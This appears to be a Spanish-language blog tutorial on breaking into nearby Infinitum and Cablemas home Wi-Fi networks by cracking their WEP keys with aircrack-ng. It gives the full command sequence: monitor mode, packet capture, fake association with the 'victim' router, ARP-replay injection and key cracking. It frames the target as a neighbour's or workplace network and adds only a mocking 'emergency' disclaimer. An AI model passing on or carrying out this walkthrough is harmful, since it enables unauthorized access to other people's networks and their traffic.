Rompiendo contraseñas de INFINITUM, CABLEMAS con Aircrack-NG

Hola, pues esta vez voy a explicar como puedes hackear una red inalámbrica cerca de tu casa o trabajo, solo en caso de emergencia (aja).
Bien lo primero que debes hacer es asegurarte que la tarjeta inalámbrica sea compatible con los drivers de madwifi, o que sea posible ponerla en modo monitor.

Antes que nada, bien podria hacer un copy-paste de alguna otra pagina donde expliquen como hacerle, pero lo mas seguro es que como a mi, nos hagan bolas o nos falten procedimientos, etc. Aclaro que yo no soy un experto, sin embargo puedo hackear algunas redes.

Mas adelante pondre los drivers de esta tarjeta en especifico, que son los que uso yo, entonces pues estan comprobados por mi, de que funcionan. 1. Como dije al principio, asegurate de que tu tarjeta se pueda poner en modo monitor o poner los drivers adecuados.

2. Descargate por medio de la consola la suite de aircrack–ng, si no sabes como hacerlo aqui esta el comando:

sudo apt–get install aircrack–ng

3. Una vez instalado, cercioremonos de que contamos con las herramientas necesarias,. Puede poner en la consola los siguientes comandos y esperar a que te salgan las instrucciones, recuerda que hacemos esto solo para cerciorarnos.

airmon–ng
airodump–ng
aireplay–ng

4. Ok, empecemos. Vamos a la esquina donde nos aparece nuestra red, hacemos clic derecho y desactivamos la red, como lo muestra la imagen.

5. Ahora abrimos una consola, nos ponemos como root (superusuario) y tecleamos lo siguiente:

airmon–ng

En seguida nos aparece el nombre de interface que activaremos. ahora hacemos esto en la consola:

airmon–ng start wifi0

y nos aparece esto, si te salio asi, ya casi casi vas a empezar a capturar paquetes y todo el rollo, si no, fijate si desactivaste la red, o si tu tarjeta si es compatible.

Bien, hasta este paso, tu ya pusiste tu tarjeta en modo monitor y esta lista para monitoriar que redes andan por ahí.

6. Ahora, con este comando, empezaras a ver las redes que podrás hackear.

airodump–ng ath1

Cuando decidas que red sera la víctima, pondrás el siguiente comando, en breve te explico que es lo que estas haciendo.

-w Es para crear un archivo que contendrá la captura, ejemplo: -w captura

-c Es el canal donde monitorearas la señal, ejemplo: -c 6

ath1 Es la interface que usas y que previamente esta en modo monitor.

Este es un ejemplo si quisiera capturar paquetes del canal 6, (es recomendable por la rapidez, capturar paquetes de las señales mas fuertes).

root@xiNtrux-mUrdeRx:/home/denian# airodump–ng ath1 -w prueba -c 6

Una vez que hagas eso, empezaras a capturar paquetes del canal 6, y los guardaras en un archivo llamado prueba.

7. Ahora, nos asociaremos con el router o módem que vamos a hackear, esto es bastante fácil, asta con seguir los comando e instrucciones que te pondré.

Abre otra consola, nos hacemos superusuario y escribe:

aireplay–ng -1 0 -e (aquí va el ESSID o nombre de la red) -b (El BSSID víctima) -a (Aquí otra vez el BSSID víctima) -h (Aquí va tu mac adress) ath1

OJO: si no sabes como sacar tu mac adress, es simple, en consola escribe:
iwconfig

Si lo hiciste bien, te saldrá algo así.

Como puedes ver, en la terminal dice «Association successful :-)», con eso ya te asociaste al módem o router.

Ahora solo falta inyectar paquetes.

8. Para inyectar paquetes, usaremos el siguiente comando en la misma terminal, es decir en la que te asociaste:

aireplay–ng -3 -b 00:18:3F:EC:97:19 -h 06:19:7E:B2:4C:55 ath1

Y te aparecerá esto, al principio no inyectara, es cuestión de esperar unos segundos y los números empezaran a subir.

A continuacion puedes checar tu terminal con el airodump-ng corriendo y esperar hasta que se acumulen unos 60 000 paquetes en la columna de Data.

Cuando seas asi, ya estaras listo para usar el aircrack-ng y decifrar la clave.

Por ejemplo aqui ya pasamos ese limite, ahora solo resta detener las terminales con un » Ctrl + c » y usamos el siguiente comando:

aircrack-ng -z prueba-01.cap

Una vez hecho esto, empezaras a revisar el paquete que contiene la clave, cuanto mas paquetes hayas capturado, mas rapido y mejor tendras tu clave.

Bueno pues espero haberles ayudado, si tienen alguna duda y esta en mis manos ayudarle, no duden en decirmelo. Sale